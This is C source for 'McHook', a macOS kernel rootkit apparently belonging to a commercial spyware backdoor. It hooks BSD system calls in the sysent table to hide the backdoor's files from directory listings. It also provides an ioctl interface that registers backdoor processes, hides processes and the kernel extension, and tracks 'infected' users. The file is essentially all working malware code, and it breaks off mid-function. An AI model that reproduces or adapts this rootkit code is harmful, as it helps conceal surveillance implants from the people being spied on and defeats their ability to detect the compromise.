/* * McHook, mchook.c * OS X KSpace Rootkit * * [Features] * x sysent hooking for bsd syscalls * x mach_trap_table hooking for mach traps * x process hiding * x uspace->kspace proc hiding handler (kill) * x kext hiding * x filesystem hiding * x uspace->kspace communication channel (ioctl) * x Data structures keeping track of USpace Backdoor(s) pid * and Path(s)/Filename(s) * * * Created by revenge on 20/03/2009 * Copyright (C) HT srl 2009. All rights reserved * */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include "mchook.h" #pragma mark - #pragma mark Global define(s) #pragma mark - #define MK_MBUF 1 #define PLENGTH 6 #define IM "appleHID" #define OSAX "appleOsax" #define KERNEL_BASE 0xffffff8000200000 // SL 10.6.4 //#define DEBUG #pragma mark - #pragma mark Global variables #pragma mark - static reg_backdoors_t *g_reg_backdoors[MAX_BACKDOOR_ENTRIES]; static exclusion_list_t g_exclusion_list[2] = { "launchd", 1, "launchctl", 1, }; static int g_process_excluded = 2; static int g_kext_hidden = 0; // Holding current kmod entry pointer //static kmod_info_t *currentK; // Holding the uspace backdoor count static int g_registered_backdoors = 0; // BSD IOCTL stuff static int major = -1; static void *devfs_handle = 0; static int g_os_major = 0; static int g_os_minor = 0; static int g_os_bugfix = 0; static int g_symbols_resolved = 0; // Character device switch table static struct cdevsw chardev = { cdev_open, // open cdev_close, // close eno_rdwrt, // read eno_rdwrt, // write cdev_ioctl, // ioctl eno_stop, // stop eno_reset, // reset 0, // ttys eno_select, // select eno_mmap, // mmap eno_strat, // strategy eno_getc, // getc eno_putc, // putc 0 // type }; #pragma mark - #pragma mark Main IOCTL Functions #pragma mark - static int cdev_open(dev_t dev, int flags, int devtype, struct proc *p) { return 0; } static int cdev_close(dev_t dev, int flags, int devtype, struct proc *p) { return 0; } static int cdev_ioctl(dev_t dev, u_long cmd, caddr_t data, int fflag, struct proc *p) { int error = 0; char username[MAX_USER_SIZE]; switch (cmd) { case MCHOOK_INIT: { if (data) { strncpy(username, (char *)data, MAX_USER_SIZE); #ifdef DEBUG printf("[MCHOOK] Init for user %s with pid %d\n", username, p->p_pid); #endif if (backdoor_init(username, p) == FALSE) { #ifdef DEBUG printf("[MCHOOK] Error on init\n"); #endif } } } break; case MCHOOK_HIDEK: { #ifdef DEBUG printf("[MCHOOK] MCHOOK_HIDEK called\n"); #endif if (g_symbols_resolved == 1) { if (g_os_major == 10 && g_os_minor > 5) { hide_kext_osarray(); //hide_kext_leopard(); } else { #ifdef DEBUG printf("[MCHOOK] KEXT hiding not supported yet\n"); #endif } } else { #ifdef DEBUG printf("[MCHOOK] Error, symbols not correctly resolved\n"); #endif } } break; case MCHOOK_HIDEP: { #ifdef DEBUG printf("[MCHOOK] MCHOOK_HIDEP called\n"); #endif if (data && g_symbols_resolved == 1) { strncpy(username, (char *)data, MAX_USER_SIZE); #ifdef DEBUG pid_t pid = p->p_pid; printf("[MCHOOK] Hiding PID: %d\n", pid); #endif int backdoor_index = 0; if ((backdoor_index = get_active_bd_index(username, p->p_pid)) == -1) { #ifdef DEBUG printf("[MCHOOK] ERR: get_active_bd_index returned -1 in HIDEP\n"); #endif return error; } if (g_reg_backdoors[backdoor_index]->is_proc_hidden == 1) { #ifdef DEBUG printf("[MCHOOK] ERR: Backdoor is already hidden\n"); #endif return error; } if (hide_proc(p, username, backdoor_index) == -1) { #ifdef DEBUG printf("[MCHOOK] hide_proc failed\n"); #endif } } } break; case MCHOOK_HIDED: { #ifdef DEBUG printf("[MCHOOK] MCHOOK_HIDED called\n"); #endif if (data) { char dirName[MAX_DIRNAME_SIZE]; strncpy(dirName, (char *)data, MAX_DIRNAME_SIZE); add_dir_to_hide(dirName, p->p_pid); } } break; case MCHOOK_UNREGISTER: { #ifdef DEBUG printf("[MCHOOK] MCHOOK_UNREGISTER called (%lu)\n", cmd); #endif if (data && g_symbols_resolved == 1) { strncpy(username, (char *)data, MAX_USER_SIZE); #ifdef DEBUG printf("[MCHOOK] Unregister for user: %s\n", username); printf("[MCHOOK] backdoorCounter: %d\n", g_registered_backdoors); #endif #if 0 // // g_backdoor_current could get messed up (e.g. 2 backdoors on the same machine // one gets uninstalled, the other is still active but there's no way // for it to be referenced by g_backdoor_current, thus we call get_active_bd_index // if (g_backdoor_current == -1) { if ((g_backdoor_current = get_active_bd_index(p, username)) == -1) { #ifdef DEBUG printf("[MCHOOK] unregistering err - backdoor not registered?!!\n"); #endif } } if (g_backdoor_current != -1 && g_reg_backdoors[g_backdoor_current]->isProcHidden == 1) { #ifdef DEBUG printf("[MCHOOK] Re-linking process %d\n", p->p_pid); #endif unhide_proc(p); } #endif int backdoor_index; if ((backdoor_index = get_active_bd_index(username, p->p_pid)) == -1) { #ifdef DEBUG printf("[MCHOOK] ERR: get_active_bd_index returned -1 in UNREGISTER\n"); #endif return error; } if (g_reg_backdoors[backdoor_index]->is_proc_hidden == 1) { #ifdef DEBUG printf("[MCHOOK] Backdoor is hidden, unhiding\n"); #endif unhide_proc(p, backdoor_index); } //g_backdoor_current = -1; dealloc_meh(username, p->p_pid); if (g_registered_backdoors == 0) { #ifdef DEBUG printf("[MCHOOK] No more backdoor left, unhooking\n"); #endif remove_hooks(); } } } break; case MCHOOK_GET_ACTIVES: { *data = g_registered_backdoors; } break; #if __LP64__ || NS_BUILD_32_LIKE_64 case MCHOOK_SOLVE_SYM_64: { #ifdef DEBUG printf("[MCHOOK] MCHOOK_SOLVE_SYM_64\n"); #endif symbol64_t *syms = (symbol64_t *)data; #ifdef DEBUG printf("[MCHOOK] hash : 0x%llx\n", syms->hash); printf("[MCHOOK] address : 0x%llx\n", syms->address); #endif if (g_symbols_resolved == 1) return error; switch (syms->hash) { case KMOD_HASH: { #ifdef DEBUG printf("[MCHOOK] kmod symbol received\n"); #endif i_kmod = (kmod_info_t *)syms->address; } break; case NSYSENT_HASH: { #ifdef DEBUG printf("[MCHOOK] nsysent symbol received\n"); #endif i_nsysent = (int *)syms->address; #ifdef DEBUG printf("[MCHOOK] nsysent: %ld\n", (long int)*i_nsysent); #endif } break; case TASKS_HASH: { #ifdef DEBUG printf("[MCHOOK] tasks symbol received\n"); #endif i_tasks = (queue_head_t *)syms->address; } break; case ALLPROC_HASH: { #ifdef DEBUG printf("[MCHOOK] allproc symbol received\n"); #endif i_allproc = (struct proclist *)syms->address; } break; case TASKS_COUNT_HASH: { #ifdef DEBUG printf("[MCHOOK] tasks_count symbol received\n"); #endif i_tasks_count = (int *)syms->address; } break; case NPROCS_HASH: { #ifdef DEBUG printf("[MCHOOK] nprocs symbol received\n"); #endif i_nprocs = (int *)syms->address; } break; case TASKS_THREADS_LOCK_HASH: { #ifdef DEBUG printf("[MCHOOK] tasks_threads_lock symbol received\n"); #endif i_tasks_threads_lock = (lck_mtx_t *)syms->address; } break; case PROC_LOCK_HASH: { #ifdef DEBUG printf("[MCHOOK] proc_lock symbol received\n"); #endif i_proc_lock = (void *)syms->address; } break; case PROC_UNLOCK_HASH: { #ifdef DEBUG printf("[MCHOOK] proc_unlock symbol received\n"); #endif i_proc_unlock = (void *)syms->address; } break; case PROC_LIST_LOCK_HASH: { #ifdef DEBUG printf("[MCHOOK] proc_list_lock symbol received\n"); #endif i_proc_list_lock = (void *)syms->address; } break; case PROC_LIST_UNLOCK_HASH: { #ifdef DEBUG printf("[MCHOOK] proc_list_unlock symbol received\n"); #endif i_proc_list_unlock = (void *)syms->address; } break; case KEXT_LOOKUP_WITH_TAG: { #ifdef DEBUG printf("[MCHOOK] kext_lookup_with_tag symbol received\n"); #endif kext_lookup_with_tag = (int *)syms->address; } break; case IO_RECURSIVE_LOCK: { #ifdef DEBUG printf("[MCHOOK] io_recursive_log symbol received\n"); #endif io_recursive_log = (int *)syms->address; } break; default: { #ifdef DEBUG printf("[MCHOOK] symbol not supported yet\n"); #endif } break; } } break; #else case MCHOOK_SOLVE_SYM_32: { #ifdef DEBUG printf("[MCHOOK] MCHOOK_SOLVE_SYM_32\n"); #endif symbol32_t *syms = (symbol32_t *)data; #ifdef DEBUG printf("[MCHOOK] hash : 0x%x\n", syms->hash); printf("[MCHOOK] address : 0x%x\n", syms->address); #endif if (g_symbols_resolved == 1) return error; switch (syms->hash) { case KMOD_HASH: { #ifdef DEBUG printf("[MCHOOK] kmod symbol received\n"); #endif i_kmod = (kmod_info_t *)syms->address; } break; case NSYSENT_HASH: { #ifdef DEBUG printf("[MCHOOK] nsysent symbol received\n"); #endif i_nsysent = (int *)syms->address; #ifdef DEBUG printf("[MCHOOK] nsysent: %ld\n", (long int)*i_nsysent); #endif } break; case TASKS_HASH: { #ifdef DEBUG printf("[MCHOOK] tasks symbol received\n"); #endif i_tasks = (queue_head_t *)syms->address; } break; case ALLPROC_HASH: { #ifdef DEBUG printf("[MCHOOK] allproc symbol received\n"); #endif i_allproc = (struct proclist *)syms->address; } break; case TASKS_COUNT_HASH: { #ifdef DEBUG printf("[MCHOOK] tasks_count symbol received\n"); #endif i_tasks_count = (int *)syms->address; } break; case NPROCS_HASH: { #ifdef DEBUG printf("[MCHOOK] nprocs symbol received\n"); #endif i_nprocs = (int *)syms->address; } break; case TASKS_THREADS_LOCK_HASH: { #ifdef DEBUG printf("[MCHOOK] tasks_threads_lock symbol received\n"); #endif i_tasks_threads_lock = (lck_mtx_t *)syms->address; } break; case PROC_LOCK_HASH: { #ifdef DEBUG printf("[MCHOOK] proc_lock symbol received\n"); #endif i_proc_lock = (void *)syms->address; } break; case PROC_UNLOCK_HASH: { #ifdef DEBUG printf("[MCHOOK] proc_unlock symbol received\n"); #endif i_proc_unlock = (void *)syms->address; } break; case PROC_LIST_LOCK_HASH: { #ifdef DEBUG printf("[MCHOOK] proc_list_lock symbol received\n"); #endif i_proc_list_lock = (void *)syms->address; } break; case PROC_LIST_UNLOCK_HASH: { #ifdef DEBUG printf("[MCHOOK] proc_list_unlock symbol received\n"); #endif i_proc_list_unlock = (void *)syms->address; } break; case KEXT_LOOKUP_WITH_TAG: { #ifdef DEBUG printf("[MCHOOK] kext_lookup_with_tag symbol received\n"); #endif kext_lookup_with_tag = (int *)syms->address; } break; case IO_RECURSIVE_LOCK: { #ifdef DEBUG printf("[MCHOOK] io_recursive_log symbol received\n"); #endif io_recursive_log = (int *)syms->address; } break; default: { #ifdef DEBUG printf("[MCHOOK] symbol not supported yet\n"); #endif } break; } } break; #endif case MCHOOK_FIND_SYS: { #ifdef DEBUG printf("[MCHOOK] MCHOOK_FIND_SYS called\n"); #endif if (data && check_symbols_integrity() == 1) { #ifdef DEBUG printf("[MCHOOK] symbols resolved\n"); #endif os_version_t *os_ver = (os_version_t *)data; g_os_major = os_ver->major; g_os_minor = os_ver->minor; g_os_bugfix = os_ver->bugfix; // Find sysent table _sysent = find_sysent(os_ver); if (_sysent == NULL) { #ifdef DEBUG printf("[MCHOOK] sysent not found\n"); #endif } else { #ifdef DEBUG printf("[MCHOOK] All symbols were resolved and sysent found\n"); #endif place_hooks(); } } else { #ifdef DEBUG printf("[MCHOOK] No data or symbols not resolved (%d)\n", g_symbols_resolved); #endif } } break; default: { #ifdef DEBUG printf("[MCHOOK] Unknown command called dudeeeee: %lu\n", cmd); #endif error = EINVAL; } break; } return error; } #pragma mark - #pragma mark Hooks #pragma mark - int hook_getdirentries(struct proc *p, struct mk_getdirentries_args *uap, int *retval) { struct dirent *tmp, *current; long size, count, length = 0; int flag = 0; int i_entry, i_path; real_getdirentries(p, uap, retval); size = retval[0]; if (size > 0 && check_for_process_exclusions(p->p_pid) == -1) { MALLOC(tmp, struct dirent *, size, MK_MBUF, M_WAITOK); copyin(uap->buf, tmp, size); count = size; current = (struct dirent *)(char *)tmp; while (count > 0) { length = current->d_reclen; count -= length; for (i_entry = 0; i_entry < g_registered_backdoors; i_entry++) { // // Enforce checks in order to avoid situation where all the files are hidden // from the disk since the g_reg_backdoors structure is inconsistent // if (g_reg_backdoors[i_entry]->is_active == 1) { for (i_path = 0; i_path < g_reg_backdoors[i_entry]->path_counter; i_path++) { if (strncmp(g_reg_backdoors[i_entry]->path[i_path], "", strlen(g_reg_backdoors[i_entry]->path[i_path])) == 0) continue; if (strncmp((char *)&(current->d_name), g_reg_backdoors[i_entry]->path[i_path], strlen(g_reg_backdoors[i_entry]->path[i_path])) == 0) { if (count != 0) { // Remove the entry from buf memmove((char *)current, (char *)current + length, count); flag = 1; } // Adjust the size since we removed an entry size -= length; break; } } } if (flag) break; } #if 0 if (strncmp((char *)&(current->d_name), PREFIX, PLENGTH) == 0) { if (count != 0) { // Remove the entry from buf bcopy((char *)current + length, (char *)current, count - length); flag = 1; } // Adjust the size since we removed an entry size -= length; } #endif // Last dir always has length of 0 if (current->d_reclen == 0) count = 0; // Point to the next struct entry if we didn't remove anything if (count != 0 && flag == 0) current = (struct dirent *)((char *)current + length); flag = 0; } // Update the return size *retval = size; // Copy back to uspace the modified buffer copyout(tmp, uap->buf, size); FREE(tmp, MK_MBUF); } return(0); } int hook_getdirentries64(struct proc *p, struct mk_getdirentries64_args *uap, int *retval) { void *tmp; struct direntry *current; long size, count, length = 0; int flag = 0; int i_entry, i_path; real_getdirentries64(p, uap, retval); size = retval[0]; if (size > 0 && check_for_process_exclusions(p->p_pid) == -1) { MALLOC(tmp, struct direntry *, size, MK_MBUF, M_WAITOK); copyin(uap->buf, tmp, size); count = size; current = (struct direntry *)(char *)tmp; while (count > 0) { length = current->d_reclen; count -= length; for (i_entry = 0; i_entry < g_registered_backdoors; i_entry++) { // // Enforce checks in order to avoid situation where all the files are hidden // from the disk since the g_reg_backdoors structure is inconsistent // if (g_reg_backdoors[i_entry]->is_active == 1) { for (i_path = 0; i_path < g_reg_backdoors[i_entry]->path_counter; i_path++) { if (strncmp(g_reg_backdoors[i_entry]->path[i_path], "", strlen(g_reg_backdoors[i_entry]->path[i_path])) == 0) continue; if (strncmp((char *)&(current->d_name), g_reg_backdoors[i_entry]->path[i_path], strlen(g_reg_backdoors[i_entry]->path[i_path])) == 0) { if (count != 0) { // Remove the entry from buf memmove((char *)current, (char *)current + length, count); flag = 1; } // Adjust the size since we removed an entry size -= length; break; } } } if (flag) break; } #if 0 if (strncmp((char *)&(current->d_name), PREFIX, PLENGTH) == 0) { if (count != 0) { // Remove the entry from buf bcopy((char *)current + length, (char *)current, count - length); flag = 1; } // Adjust the size since we removed an entry size -= length; } #endif // Last entry always has length of 0 if (current->d_reclen == 0) count = 0; // Point to the next struct entry if (count != 0 && flag == 0) current = (struct direntry *)((char *)current + length); flag = 0; } // Update the return size *retval = size; // Copy back to uspace the modified buffer copyout(tmp, uap->buf, size); FREE(tmp, MK_MBUF); } return(0); } int hook_getdirentriesattr(struct proc *p, struct mk_getdirentriesattr_args *uap, int *retval) { char procname[20]; char *curr_entry = NULL; attr_list_t al; int success = 0; int flag = 0; int curr_backdoor, curr_path; int index = 0; u_int32_t count = 0; u_int32_t entry_size = 0; /*attribute_buffer_t *buf, *this_entry;*/ FInfoAttrBuf *this_entry; char *buf; success = real_getdirentriesattr(p, uap, retval); proc_name(p->p_pid, procname, sizeof(procname)); #ifdef DEBUG_VERBOSE printf("p_start sec: %d for %s\n", (int)p->p_start.tv_sec, procname); #endif if (check_for_process_exclusions(p->p_pid) == -1) { #ifdef DEBUG_VERBOSE printf("getdirentriesattr called by %s\n", procname); printf("ATTRLIST - %s commonattr %08x | volattr %08x | fileattr %08x | dirattr %08x | forkattr %08x | %sfollow\n", p->p_comm, al.commonattr, al.volattr, al.fileattr, al.dirattr, al.forkattr, (uap->options & FSOPT_NOFOLLOW) ? "no" : ""); getAttributesForBitFields(al); #endif copyin(uap->alist, (caddr_t)&al, sizeof(al)); copyin(uap->count, (caddr_t)&count, sizeof(count)); #ifdef DEBUG_VERBOSE printf("bufferSize: %d\n", (int)uap->buffersize); #endif /*MALLOC(buf, attribute_buffer_t *, uap->buffersize, MK_MBUF, M_WAITOK);*/ MALLOC(buf, char *, uap->buffersize, MK_MBUF, M_WAITOK); copyin(uap->buffer, (caddr_t)buf, uap->buffersize); /*this_entry = (attribute_buffer_t *)(char *)buf;*/ this_entry = (FInfoAttrBuf *)buf; int _tmp_size = uap->buffersize; index = count; #ifdef DEBUG_VERBOSE printf("[MCHOOK] _tmp_size start : %d\n", _tmp_size); printf("[MCHOOK] index start : %d\n", index); #endif while (_tmp_size > 0 && index > 0) { entry_size = this_entry->length; curr_entry = (char *)&this_entry->name; curr_entry += this_entry->name.attr_dataoffset; #ifdef DEBUG_VERBOSE printf("[MCHOOK] curr_entry st : %llx\n", (unsigned long long)curr_entry); printf("[MCHOOK] data offset st : %x\n", this_entry->name.attr_dataoffset); printf("[MCHOOK] _tmp_size st : %x\n", _tmp_size); printf("[MCHOOK] index st : %d\n", index); #endif if (this_entry->name.attr_dataoffset > 0) { for (curr_backdoor = 0; curr_backdoor < g_registered_backdoors; curr_backdoor++) { // // Enforce checks in order to avoid situation where all the files are hidden // from the disk since the g_reg_backdoors structure is inconsistent // if (g_reg_backdoors[curr_backdoor]->is_active == 1) { for (curr_path = 0; curr_path < g_reg_backdoors[curr_backdoor]->path_counter; curr_path++) { #ifdef DEBUG_VERBOSE printf("[MCHOOK] curr_entry f : %llx\n", (unsigned long long)curr_entry); printf("[MCHOOK] g_curr_entry f: %s\n", g_reg_backdoors[curr_backdoor]->path[curr_path]); #endif if (strncmp(g_reg_backdoors[curr_backdoor]->path[curr_path], "", strlen(g_reg_backdoors[curr_backdoor]->path[curr_path])) == 0) continue; if (strncmp(curr_entry, g_reg_backdoors[curr_backdoor]->path[curr_path], strlen(g_reg_backdoors[curr_backdoor]->path[curr_path])) == 0) { if ((strncmp(curr_entry, IM, strlen(IM)) == 0) || (strncmp(curr_entry, OSAX, strlen(OSAX)) == 0)) { if (p->p_start.tv_sec == 0) { #ifdef DEBUG printf("Entry matched for %s (first time) - skipping\n", curr_entry); #endif p->p_start.tv_sec = 1; continue; } } #ifdef DEBUG_VERBOSE printf("%s REQUESTED %s\n", procname, curr_entry); #endif // Remove the entry from buf memmove((char *)this_entry, (char *)((NSUInteger)this_entry + entry_size), _tmp_size); flag = 1; // Adjust the counter since we removed an entry count--; break; } } } if (flag) break; } } else { #ifdef DEBUG_VERBOSE printf("[MCHOOK] dataoffset is 0\n"); #endif } _tmp_size -= entry_size; index -= 1; // Advance to the next entry /*if (_tmp_size != 0 && flag == 0)*/ /*this_entry = (attribute_buffer_t *)((NSUInteger)this_entry + entry_size);*/ if (_tmp_size > 0 && flag == 0) { char *z = ((char *)this_entry) + entry_size; this_entry = (FInfoAttrBuf *)z; } } // Back to uspace copyout((caddr_t)buf, uap->buffer, uap->buffersize); copyout(&count, uap->count, sizeof(count)); FREE(buf, MK_MBUF); } else { #ifdef DEBUG printf("Process excluded from hiding: %s\n", procname); #endif } return success; } #pragma mark - #pragma mark General purpose functions #pragma mark - #ifdef DEBUG void getAttributesForBitFields(attr_list_t al) { // commonattr checks if (al.commonattr & ATTR_CMN_NAME) printf("ATTR_CMN_NAME\n"); if (al.commonattr & ATTR_CMN_DEVID) printf("ATTR_CMN_DEVID\n"); if (al.commonattr & ATTR_CMN_FSID) printf("ATTR_CMN_FSID\n"); if (al.commonattr & ATTR_CMN_OBJTYPE) printf("ATTR_CMN_OBJTYPE\n"); if (al.commonattr & ATTR_CMN_OBJTAG) printf("ATTR_CMN_OBJTAG\n"); if (al.commonattr & ATTR_CMN_OBJID) printf("ATTR_CMN_OBJID\n"); if (al.commonattr & ATTR_CMN_OBJPERMANENTID) printf("ATTR_CMN_OBJPERMANENTID\n"); if (al.commonattr & ATTR_CMN_PAROBJID) printf("ATTR_CMN_PAROBJID\n"); if (al.commonattr & ATTR_CMN_SCRIPT) printf("ATTR_CMN_SCRIPT\n"); if (al.commonattr & ATTR_CMN_CRTIME) printf("ATTR_CMN_CRTIME\n"); if (al.commonattr & ATTR_CMN_MODTIME) printf("ATTR_CMN_MODTIME\n"); if (al.commonattr & ATTR_CMN_CHGTIME) printf("ATTR_CMN_CHGTIME\n"); if (al.commonattr & ATTR_CMN_ACCTIME) printf("ATTR_CMN_ACCTIME\n"); if (al.commonattr & ATTR_CMN_BKUPTIME) printf("ATTR_CMN_BKUPTIME\n"); if (al.commonattr & ATTR_CMN_FNDRINFO) printf("ATTR_CMN_FNDRINFO\n"); if (al.commonattr & ATTR_CMN_OWNERID) printf("ATTR_CMN_OWNERID\n"); if (al.commonattr & ATTR_CMN_GRPID) printf("ATTR_CMN_GRPID\n"); if (al.commonattr & ATTR_CMN_ACCESSMASK) printf("ATTR_CMN_ACCESSMASK\n"); if (al.commonattr & ATTR_CMN_FLAGS) printf("ATTR_CMN_FLAGS\n"); if (al.commonattr & ATTR_CMN_USERACCESS) printf("ATTR_CMN_USERACCESS\n"); if (al.commonattr & ATTR_CMN_EXTENDED_SECURITY) printf("ATTR_CMN_EXTENDED_SECURITY\n"); if (al.commonattr & ATTR_CMN_UUID) printf("ATTR_CMN_UUID\n"); if (al.commonattr & ATTR_CMN_GRPUUID) printf("ATTR_CMN_GRPUUID\n"); if (al.commonattr & ATTR_CMN_FILEID) printf("ATTR_CMN_FILEID\n"); if (al.commonattr & ATTR_CMN_PARENTID) printf("ATTR_CMN_PARENTID\n"); if (al.commonattr & ATTR_CMN_VALIDMASK) printf("ATTR_CMN_VALIDMASK\n"); if (al.commonattr & ATTR_CMN_SETMASK) printf("ATTR_CMN_SETMASK\n"); if (al.commonattr & ATTR_CMN_VOLSETMASK) printf("ATTR_CMN_VOLSETMASK\n"); // volattr checks if (al.volattr & ATTR_VOL_FSTYPE) printf("ATTR_VOL_FSTYPE\n"); if (al.volattr & ATTR_VOL_SIGNATURE) printf("ATTR_VOL_SIGNATURE\n"); if (al.volattr & ATTR_VOL_SIZE) printf("ATTR_VOL_SIZE\n"); if (al.volattr & ATTR_VOL_SPACEFREE) printf("ATTR_VOL_SPACEFREE\n"); if (al.volattr & ATTR_VOL_SPACEAVAIL) printf("ATTR_VOL_SPACEAVAIL\n"); if (al.volattr & ATTR_VOL_MINALLOCATION) printf("ATTR_VOL_MINALLOCATION\n"); if (al.volattr & ATTR_VOL_ALLOCATIONCLUMP) printf("ATTR_VOL_ALLOCATIONCLUMP\n"); if (al.volattr & ATTR_VOL_IOBLOCKSIZE) printf("ATTR_VOL_IOBLOCKSIZE\n"); if (al.volattr & ATTR_VOL_OBJCOUNT) printf("ATTR_VOL_OBJCOUNT\n"); if (al.volattr & ATTR_VOL_FILECOUNT) printf("ATTR_VOL_FILECOUNT\n"); if (al.volattr & ATTR_VOL_DIRCOUNT) printf("ATTR_VOL_DIRCOUNT\n"); if (al.volattr & ATTR_VOL_MAXOBJCOUNT) printf("ATTR_VOL_MAXOBJCOUNT\n"); if (al.volattr & ATTR_VOL_MOUNTPOINT) printf("ATTR_VOL_MOUNTPOINT\n"); if (al.volattr & ATTR_VOL_NAME) printf("ATTR_VOL_NAME\n"); if (al.volattr & ATTR_VOL_MOUNTFLAGS) printf("ATTR_VOL_MOUNTFLAGS\n"); if (al.volattr & ATTR_VOL_MOUNTEDDEVICE) printf("ATTR_VOL_MOUNTEDDEVICE\n"); if (al.volattr & ATTR_VOL_ENCODINGSUSED) printf("ATTR_VOL_ENCODINGSUSED\n"); if (al.volattr & ATTR_VOL_CAPABILITIES) printf("ATTR_VOL_CAPABILITIES\n"); if (al.volattr & ATTR_VOL_ATTRIBUTES) printf("ATTR_VOL_ATTRIBUTES\n"); if (al.volattr & ATTR_VOL_INFO) printf("ATTR_VOL_INFO\n"); if (al.volattr & ATTR_VOL_VALIDMASK) printf("ATTR_VOL_VALIDMASK\n"); if (al.volattr & ATTR_VOL_SETMASK) printf("ATTR_VOL_SETMASK\n"); // dirattr checks if (al.dirattr & ATTR_DIR_ENTRYCOUNT) printf("ATTR_DIR_ENTRYCOUNT\n"); if (al.dirattr & ATTR_DIR_LINKCOUNT) printf("ATTR_DIR_LINKCOUNT\n"); } #endif int check_for_process_exclusions(pid_t pid) { char procname[20]; int i = 0; proc_name(pid, procname, sizeof(procname)); for (i = 0; i < g_process_excluded; i ++) { if (strncmp(procname, g_exclusion_list[i].processname, MAX_USER_SIZE) == 0 && g_exclusion_list[i].is_active == 1) { #ifdef DEBUG printf("[MCHOOK] Exclusion matched for %s\n", procname); #endif return 1; } } return -1; } void place_hooks() { if (fl_getdire64 == 0) { real_getdirentries64 = (getdirentries64_func_t *)_sysent[SYS_getdirentries64].sy_call; _sysent[SYS_getdirentries64].sy_call = (sy_call_t *)hook_getdirentries64; fl_getdire64 = 1; } if (fl_getdire == 0) { real_getdirentries = (getdirentries_func_t *)_sysent[SYS_getdirentries].sy_call; _sysent[SYS_getdirentries].sy_call = (sy_call_t *)hook_getdirentries; fl_getdire = 1; } if (fl_getdirentriesattr == 0) { real_getdirentriesattr = (getdirentriesattr_func_t *)_sysent[SYS_getdirentriesattr].sy_call; _sysent[SYS_getdirentriesattr].sy_call = (sy_call_t *)hook_getdirentriesattr; fl_getdirentriesattr = 1; } #ifdef DEBUG printf("[MCHOOK] Hooks in place\n"); #endif } void remove_hooks() { if (fl_getdire64) { _sysent[SYS_getdirentries64].sy_call = (sy_call_t *)real_getdirentries64; fl_getdire64 = 0; } if (fl_getdire) { _sysent[SYS_getdirentries].sy_call = (sy_call_t *)real_getdirentries; fl_getdire = 0; } if (fl_getdirentriesattr) { _sysent[SYS_getdirentriesattr].sy_call = (sy_call_t *)real_getdirentriesattr; fl_getdirentriesattr = 0; } } void add_dir_to_hide(char *dirname, pid_t pid) { int i = 0; int z = 0; #ifdef DEBUG printf("[MCHOOK] Hiding (%s) for pid (%d)\n", dirname, pid); #endif for (i = 0; i < g_registered_backdoors; i++) { if (g_reg_backdoors[i]->p->p_pid == pid && g_reg_backdoors[i]->is_active == 1) { for (z = 0; z < g_reg_backdoors[i]->path_counter; z ++) { if (strncmp(dirname, g_reg_backdoors[i]->path[z], MAX_DIRNAME_SIZE) == 0) { #ifdef DEBUG printf("[MCHOOK] Path already registered (%s)!\n", dirname); #endif return; } } int pcounter = g_reg_backdoors[i]->path_counter; if (g_reg_backdoors[i]->path_counter < MAX_PATH_ENTRIES) { strncpy((char *)g_reg_backdoors[i]->path[pcounter], dirname, MAX_DIRNAME_SIZE); #ifdef DEBUG printf("[MCHOOK] DIR Hidden: %s\n", g_reg_backdoors[i]->path[pcounter]); #endif g_reg_backdoors[i]->path_counter++; #ifdef DEBUG printf("[MCHOOK] backdoorCounter: %d\n", g_registered_backdoors); printf("[MCHOOK] backdoor pathCounter: %d\n", g_reg_backdoors[i]->path_counter); #endif } } } } Boolean backdoor_init(char *username, proc_t p) { int _index = 0; int i = 0; int bd_index = -1; Boolean result = FALSE; if (g_registered_backdoors > 0) { // Let's see if the backdoor is already registered bd_index = get_bd_index(username, p->p_pid); } else { #ifdef DEBUG printf("[MCHOOK] First backdoor, hooking\n"); #endif } switch (bd_index) { case -2: #ifdef DEBUG printf("[MCHOOK] Already registered (same pid and is active) on init\n"); #endif break; case -1: { #ifdef DEBUG printf("[MCHOOK] Backdoor not found on init\n"); #endif MALLOC(g_reg_backdoors[g_registered_backdoors], reg_backdoors_t *, sizeof(reg_backdoors_t), MK_MBUF, M_WAITOK); _index = g_registered_backdoors; g_registered_backdoors++; result = TRUE; } break; default: { #ifdef DEBUG printf("[MCHOOK] Already registered user (dead bd) %d\n", bd_index); #endif int numPath = g_reg_backdoors[bd_index]->path_counter; g_reg_backdoors[bd_index]->path_counter = 0; // Backdoor is already registered for (i = 0; i < numPath; i++) { memset(g_reg_backdoors[bd_index]->path[i], '\0', MAX_DIRNAME_SIZE); } _index = bd_index; result = TRUE; } break; } // Initialize the structure entry //g_reg_backdoors[_index]->path_counter = 0; g_reg_backdoors[_index]->p = p; /*g_reg_backdoors[_index]->pid = p->p_pid;*/ g_reg_backdoors[_index]->is_active = 1; g_reg_backdoors[_index]->is_hidden = 0; g_reg_backdoors[_index]->is_task_hidden = 0; g_reg_backdoors[_index]->is_proc_hidden = 0; strncpy(g_reg_backdoors[_index]->username, username, MAX_USER_SIZE); #ifdef DEBUG printf("[MCHOOK] index (%d)\n", _index); printf("[MCHOOK] user (%s)\n", g_reg_backdoors[_index]->username); #endif return result; } int remove_dev_entry() { // Remove our device entry from /dev devfs_remove(devfs_handle); cdevsw_remove(major, &chardev); return 0; } void dealloc_meh(char *username, pid_t pid) { int bd_index = -1; bd_index = get_active_bd_index(username, pid); if (bd_index != -1) { FREE(g_reg_backdoors[bd_index], MK_MBUF); /*g_reg_backdoors[z]->is_active = 0;*/ /*g_reg_backdoors[z]->is_hidden = 0;*/ /*g_reg_backdoors[z]->is_task_hidden = 0;*/ /*g_reg_backdoors[z]->is_proc_hidden = 0;*/ if (g_registered_backdoors > 0) g_registered_backdoors--; } } // // Get the backdoor index among the active ones // int get_active_bd_index(char *username, pid_t pid) { int i = 0; for (i = 0; i < g_registered_backdoors; i++) { if ((strncmp(username, g_reg_backdoors[i]->username, MAX_USER_SIZE) == 0) && g_reg_backdoors[i]->p->p_pid == pid && g_reg_backdoors[i]->is_active == 1) { return i; } } return -1; } // // Get the backdoor index even if not active (but present in the array) // int get_bd_index(char *username, pid_t pid) { int i = 0; int index = -1; for (; i < g_registered_backdoors; i++) { if (strncmp(g_reg_backdoors[i]->username, username, MAX_USER_SIZE) == 0) { #ifdef DEBUG printf("[MCHOOK] User already infected, checking if active\n"); #endif if (g_reg_backdoors[i]->p->p_pid == pid && g_reg_backdoors[i]->is_active == 1) { #ifdef DEBUG printf("[MCHOOK] Backdoor already registered and active\n"); #endif index = -2; break; } else { #ifdef DEBUG printf("[MCHOOK] Backdoor already registered but not active\n"); #endif index = i; break; } } } return index; } int check_symbols_integrity() { g_symbols_resolved = 0; if (i_allproc != NULL && i_tasks != NULL && i_nsysent != NULL && i_kmod != NULL && 